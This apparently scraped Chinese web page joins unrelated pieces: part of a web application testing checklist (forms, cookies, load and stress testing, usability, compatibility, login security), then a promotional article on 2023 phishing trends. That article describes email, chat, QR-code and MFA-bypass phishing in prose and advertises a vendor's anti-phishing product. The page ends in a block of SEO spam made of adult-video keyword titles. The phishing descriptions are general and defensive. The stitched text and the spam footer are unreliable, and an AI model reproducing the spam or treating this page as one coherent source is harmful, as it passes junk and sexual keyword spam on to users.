          當用戶給Web應用系統管理員提交信息時,就需要使用表單操作,例如用戶注冊、登陸、信息提交等。在這種情況下,我們必須測試提交操作的完整性,以校驗提交給服務器的信息的正確性。例如:用戶填寫的出生日期與職業是否恰當,填寫的所屬省份與所在城市是否匹配等。如果使用了默認值,還要檢驗默認值的正確性。如果表單只能接受指定的某些值,則也要進行測試。例如:只能接受某些字符,測試時可以跳過這些字符,看系統是否會報錯。

          3、Cookies測試

          Cookies通常用來存儲用戶信息和用戶在某應用系統的操作,當一個用戶使用Cookies訪問了某一個應用系統時,Web服務器將發送關于用戶的信息,把該信息以Cookies的形式存儲在客戶端計算機上,這可用來創建動態和自定義頁面或者存儲登陸等信息。

          如果Web應用系統使用了Cookies,就必須檢查Cookies是否能正常工作。測試的內容可包括Cookies是否起作用,是否按預定的時間進行保存,刷新對Cookies有什么影響等。

          4、設計語言測試

          Web設計語言版本的差異可以引起客戶端或服務器端嚴重的問題,例如使用哪種版本的HTML等。當在分布式環境中開發時,開發人員都不在一起,這個問題就顯得尤為重要。除了HTML的版本問題外,不同的腳本語言,例如Java、JavaScript、 ActiveX、VBScript或Perl等也要進行驗證。

          5、數據庫測試

          在Web應用技術中,數據庫起著重要的作用,數據庫為Web應用系統的管理、運行、查詢和實現用戶對數據存儲的請求等提供空間。在Web應用中,最常用的數據庫類型是關系型數據庫,可以使用SQL對信息進行處理。

          在使用了數據庫的Web應用系統中,一般情況下,可能發生兩種錯誤,分別是數據一致性錯誤和輸出錯誤。數據一致性錯誤主要是由于用戶提交的表單信息不正確而造成的,而輸出錯誤主要是由于網絡速度或程序設計問題等引起的,針對這兩種情況,可分別進行測試。

          測試項目二、性能測試

          1、連接速度測試

          用戶連接到Web應用系統的速度根據上網方式的變化而變化,他們或許是電話撥號,或是寬帶上網。當下載一個程序時,用戶可以等較長的時間,但如果僅僅訪問一個頁面就不會這樣。如果Web系統響應時間太長(例如超過5秒鐘),用戶就會因沒有耐心等待而離開。

          另外,有些頁面有超時的限制,如果響應速度太慢,用戶可能還沒來得及瀏覽內容,就需要重新登陸了。而且,連接速度太慢,還可能引起數據丟失,使用戶得不到真實的頁面。

          2、負載測試

          負載測試是為了測量Web系統在某一負載級別上的性能,以保證Web系統在需求范圍內能正常工作。負載級別可以是某個時刻同時訪問Web系統的用戶數量,也可以是在線數據處理的數量。例如:Web應用系統能允許多少個用戶同時在線?如果超過了這個數量,會出現什么現象?Web應用系統能否處理大量用戶對同一個頁面的請求?

          3、壓力測試

          負載測試應該安排在Web系統發布以后,在實際的網絡環境中進行測試。因為一個企業內部員工,特別是項目組人員總是有限的,而一個Web系統能同時處理的請求數量將遠遠超出這個限度,所以,只有放在Internet上,接受負載測試,其結果才是正確可信的。

          進行壓力測試是指實際破壞一個Web應用系統,測試系統的反映。壓力測試是測試系統的限制和故障恢復能力,也就是測試Web應用系統會不會崩潰,在什么情況下會崩潰。黑客常常提供錯誤的數據負載,直到Web應用系統崩潰,接著當系統重新啟動時獲得存取權。

          壓力測試的區域包括表單、登陸和其他信息傳輸頁面等。

          測試項目三、可用性測試

          1、導航測試

          導航描述了用戶在一個頁面內操作的方式,在不同的用戶接口控制之間,例如按鈕、對話框、列表和窗口等;或在不同的連接頁面之間。通過考慮下列問題,可以決定一個Web應用系統是否易于導航:導航是否直觀?Web系統的主要部分是否可通過主頁存取?Web系統是否需要站點地圖、搜索引擎或其他的導航幫助?

          在一個頁面上放太多的信息往往起到與預期相反的效果。Web應用系統的用戶趨向于目的驅動,很快地掃描一個Web應用系統,看是否有滿足自己需要的信息,如果沒有,就會很快地離開。很少有用戶愿意花時間去熟悉Web應用系統的結構,因此,Web應用系統導航幫助要盡可能地準確。

          導航的另一個重要方面是Web應用系統的頁面結構、導航、菜單、連接的風格是否一致。確保用戶憑直覺就知道Web應用系統里面是否還有內容,內容在什么地方。

          Web應用系統的層次一旦決定,就要著手測試用戶導航功能,讓最終用戶參與這種測試,效果將更加明顯。

          2、圖形測試

          在Web應用系統中,適當的圖片和動畫既能起到廣告宣傳的作用,又能起到美化頁面的功能。一個Web應用系統的圖形可以包括圖片、動畫、邊框、顏色、字體、背景、按鈕等。圖形測試的內容有:

          (1)要確保圖形有明確的用途,圖片或動畫不要胡亂地堆在一起,以免浪費傳輸時間。Web應用系統的圖片尺寸要盡量地小,并且要能清楚地說明某件事情,一般都鏈接到某個具體的頁面。

          (2)驗證所有頁面字體的風格是否一致。

          (3)背景顏色應該與字體顏色和前景顏色相搭配。

          (4)圖片的大小和質量也是一個很重要的因素,一般采用JPG或GIF壓縮。

          3、內容測試

          內容測試用來檢驗Web應用系統提供信息的正確性、準確性和相關性。

          信息的正確性是指信息是可靠的還是誤傳的。例如,在商品價格列表中,錯誤的價格可能引起財政問題甚至導致法律糾紛;信息的準確性是指是否有語法或拼寫錯誤。這種測試通常使用一些文字處理軟件來進行,例如使用Microsoft Word的”拼音與語法檢查”功能;信息的相關性是指是否在當前頁面可以找到與當前瀏覽信息相關的信息列表或入口,也就是一般Web站點中的所謂”相關文章列表”。

          4、整體界面測試

          整體界面是指整個Web應用系統的頁面結構設計,是給用戶的一個整體感。例如:當用戶瀏覽Web應用系統時是否感到舒適,是否憑直覺就知道要找的信息在什么地方?整個Web應用系統的設計風格是否一致?

          對整體界面的測試過程,其實是一個對最終用戶進行調查的過程。一般Web應用系統采取在主頁上做一個調查問卷的形式,來得到最終用戶的反饋信息。

          對所有的可用性測試來說,都需要有外部人員(與Web應用系統開發沒有聯系或聯系很少的人員)的參與,最好是最終用戶的參與。

          測試項目四、客戶端兼容性測試

          1、平臺測試

          市場上有很多不同的操作系統類型,最常見的有Windows、Unix、Macintosh、Linux等。Web應用系統的最終用戶究竟使用哪一種操作系統,取決于用戶系統的配置。這樣,就可能會發生兼容性問題,同一個應用可能在某些操作系統下能正常運行,但在另外的操作系統下可能會運行失敗。

          因此,在Web系統發布之前,需要在各種操作系統下對Web系統進行兼容性測試。

          2、瀏覽器測試

          瀏覽器是Web客戶端最核心的構件,來自不同廠商的瀏覽器對Java,、JavaScript、 ActiveX、 plug-ins或不同的HTML規格有不同的支持。例如,ActiveX是Microsoft的產品,是為Internet Explorer而設計的,JavaScript是Netscape的產品,Java是Sun的產品等等。另外,框架和層次結構風格在不同的瀏覽器中也有不同的顯示,甚至根本不顯示。不同的瀏覽器對安全性和Java的設置也不一樣。

          測試瀏覽器兼容性的一個方法是創建一個兼容性矩陣。在這個矩陣中,測試不同廠商、不同版本的瀏覽器對某些構件和設置的適應性。

          測試項目五、安全性測試

          Web應用系統的安全性測試區域主要有:

          (1)現在的Web應用系統基本采用先注冊,后登陸的方式。因此,必須測試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,可以試多少次的限制,是否可以不登陸而直接瀏覽某個頁面等。

          (2)Web應用系統是否有超時的限制,也就是說,用戶登陸后在一定時間內(例如15分鐘)沒有點擊任何頁面,是否需要重新登陸才能正常使用。

          (3)為了保證Web應用系統的安全性,日志文件是至關重要的。需要測試相關信息是否寫進了日志文件、是否可追蹤。

          (4)當使用了安全套接字時,還要測試加密是否正確,檢查信息的完整性。

          (5)服務器端的腳本常常構成安全漏洞,這些漏洞又常常被黑客利用。所以,還要測試沒有經過授權,就不能在服務器端放置和編輯腳本的問題。

          備注:如有沒考慮進去內容,可以評論添加,一起學習,一起交流~

          今,網絡釣魚活動日益猖獗,這些看似無心的舉動,可能正將你置于網絡釣魚的陷阱之中。

          看看數字背后的網絡釣魚真相

          2023年,網絡釣魚攻擊事件總數約為16億起,同比增長166%。SlashNext公司的報告顯示,自2022年第四季度至2023年第三季度,網絡釣魚郵件數量增加了1265%,平均每天發送了約31,000封網絡釣魚攻擊郵件。

          時間分布上,網絡釣魚攻擊呈現季節波動特征,一季度和三季度出現兩個高峰,可能受到了春節、國慶等假期熱點影響。

          行業分布上,網絡釣魚攻擊主要集中在制造業、服務業、政府部門、醫療行業和教育行業等行業,中小型企業最易受到網絡釣魚攻擊。

          攻擊渠道上,釣魚郵件依然是最主要的攻擊渠道,利用短信和彩信、創建釣魚網站進行欺詐、利用搜索引擎投放誘導廣告、利用社交網絡和即時通訊軟件發起釣魚活動等手段也越來越普遍。

          攻擊形式上,犯罪分子使用頻率最高的文件類型包括 exe、dll、doc、html和 vbs等。它們分別用于運行木馬程序、進行釣魚網站攻擊或釋放/下載其他文件。這些手段不僅技術性強,而且極具欺騙性。

          可以說,網絡釣魚攻擊正試圖滲透到我們生產生活的方方面面。給企業,甚至所有網絡用戶的信息安全帶來了前所未有的威脅。

          接下來,為大家介紹幾個典型的網絡釣魚場景。如果你遇到這些情況,可能已經被盯上了,一定要提高警惕!可以隨手分享給身邊的同事和朋友,提醒他們小心被騙~

          案例一:郵件釣魚

          攻擊者以發票的名義,通過電子郵件誘使收件人打開附件 /鏈接,并在鏈接指向的頁面中偽造官方支持的假象,提示收件人輸入個人憑據。郵件正文中還添加了虛假的殺毒軟件掃描信息,以降低受害者的警惕。一旦收件人打開附件或鏈接,賬號輸入框會自動填充,進一步降低受害者的警惕。當受害者輸入個人信息后,瀏覽器會將用戶輸入內容發送至攻擊者的服務器。

          案例二:通訊軟件釣魚

          攻擊者首先添加目標為好友,通過社會工程學手段獲取信任之后發送惡意文件,并誘導目標打開和運行。當惡意文件被運行之后會從遠程服務器下載其他文件并執從而實現長久的遠程控制,同時攻擊者會監控受害者屏幕,等到時機成熟后會控制該機器向其他人聯系人發起類似的釣魚攻擊,如果目標合適將會誘導其轉賬打款進行金融詐騙。

          案例三:二維碼釣魚

          攻擊者通過郵件偽裝成政府部門,發送包含二維碼的釣魚文檔給用戶。這些文檔在打開后會呈現偽裝的政府文件,目的是誘導用戶掃描二維碼打開惡意鏈接。一旦掃描二維碼可能會造成個人信息泄露、憑證失竊、資金被盜等風險。

          據統計,二維碼釣魚攻擊同比增長了90%。超過 85%的用戶對二維碼支付和掃碼認證存在盲信心理,意識不夠警惕,為攻擊者提供了機會。

          案例四:雙/多因素認證繞過釣魚

          隨著單因素認證面臨社會工程和密碼破解等風險以及相關監管政策的要求,雙/多因素認證 (2/MFA)已被廣泛部署。但攻擊者會利用中間人攻擊繞過多因素認證,通過郵件或即時通訊發送鏈接或二維碼誘導目標點擊。受害者按照攻擊者的提示輸入信息后,賬戶將被接管。

          看了這些案例,回想一下,自己是不是曾經在危險邊緣徘徊過?

          以上數據和案例均來自深信服千里目技術中心發布的《2023網絡釣魚趨勢分析報告》,報告通過大量的數據統計和真實釣魚案例分析,詳細梳理了網絡釣魚的整體情況,分析釣魚攻擊的技術手段,針對痛點提出一系列有效的防范建議。

          為每個員工配備一個防釣魚專家 How to do?

          報告發現,隨著網絡釣魚攻擊的趨勢走高,釣魚攻擊的防御也成為企業和組織面臨的安全難點。一方面,隨著技術發展,攻擊者可以利用大模型技術快速且大量生成高質量、逼真的釣魚信息,利用人性弱點,員工難以識別;另一方面,釣魚攻擊手段也在不斷升級,加密、免殺、白利用等手段讓釣魚攻擊看不見也防不住。傳統從特征識別、規則匹配、乃至行為或AI小模型的推理檢測,已難以檢測高級的釣魚攻擊事件,釣魚防護需要真正“懂人性”、智能靈敏的防釣魚專家。

          深信服國內首發并落地的網絡安全垂直領域大模型——安全GPT,目前已經完成3.0的升級演進。深信服防釣魚解決方案以安全GPT3.0釣魚攻擊意圖推理能力為核心,依靠aES輕量端點的數據采集和關聯,并結合邊界、郵件防御以及安全檢測響應能力,有效解決當前釣魚防御方案中難以解決的偽裝欺騙、免殺對抗、白利用等高級手法,能夠做到:

          1、精準理解攻擊意圖

          通過精準理解自然語言或二維碼背后的攻擊意圖,有效檢測傳統方案無法識別的社工欺騙及二維碼釣魚。

          2、全鏈條行為關聯分析

          (1)結合發件人、郵件內容、郵件附件到后滲透行為全鏈條采集與關聯分析;

          (2)結合文件信息與文件后滲透行為全鏈條采集與關聯分析,做到檢測更精準、溯源更全面。

          3、靈活處置閉環

          支持同步和異步處置方式,如重要時期保障場景下自動處置,安全優先,日常運營場景下結合研判流程處置。通過郵件橫幅告警、釣魚文件隔離等方式,在不影響用戶體驗的前提下,遏制釣魚攻擊、避免進一步攻擊帶來的損失。

          深信服防釣魚核心技術

          通過3萬高對抗釣魚樣本與100萬白樣本測試驗證,深信服防釣魚解決方案對比傳統方案,檢出率從15.7%飛升至91.4%,誤報率從0.15%降低至0.046%,像員工身邊的安全專家一樣,智能高效防御釣魚攻擊!

          面對新的挑戰,要有效對抗網絡釣魚威脅,我們需要綜合采取加強技術防范、提高公眾安全意識、加強法律法規建設等多方面措施,有效遏制網絡釣魚的蔓延,守護個人和企業的信息安全。(來源:中國網)

          (推廣)


          主站蜘蛛池模板: 亚洲中文字幕无码一区二区三区| 国产精品一区二区不卡| 亚洲丰满熟女一区二区v| 国产成人亚洲综合一区| 国产在线精品一区二区三区直播 | 亚洲一区二区观看播放| 日韩免费一区二区三区| 久久精品一区二区三区日韩| 日韩精品一区二区三区老鸦窝| 性无码免费一区二区三区在线| 国产精品一区不卡| 亚洲欧美国产国产综合一区| 国产精品一区二区久久国产| 国产一区二区三区在线| 精品动漫一区二区无遮挡| 免费一区二区三区| 一区二区三区www| 在线视频一区二区三区四区| 精品国产一区二区三区麻豆| 久久久久久人妻一区精品| 亚洲一区二区三区无码影院| 国产一区二区三区福利| 亚洲另类无码一区二区三区| 狠狠色综合一区二区| 亚洲视频一区在线观看| 一区二区在线免费观看| 亚洲AV无一区二区三区久久| 97久久精品午夜一区二区| 国产福利电影一区二区三区久久久久成人精品综合 | 一区二区免费国产在线观看| 亚洲乱色熟女一区二区三区蜜臀 | 精品无码一区二区三区爱欲九九 | 亚洲日本va一区二区三区| 精品无码一区二区三区爱欲| 国产亚洲一区二区三区在线观看 | 国产嫖妓一区二区三区无码| 成人精品视频一区二区| 加勒比无码一区二区三区| 国产成人久久一区二区不卡三区| 91精品乱码一区二区三区| 亚洲av无码一区二区三区观看 |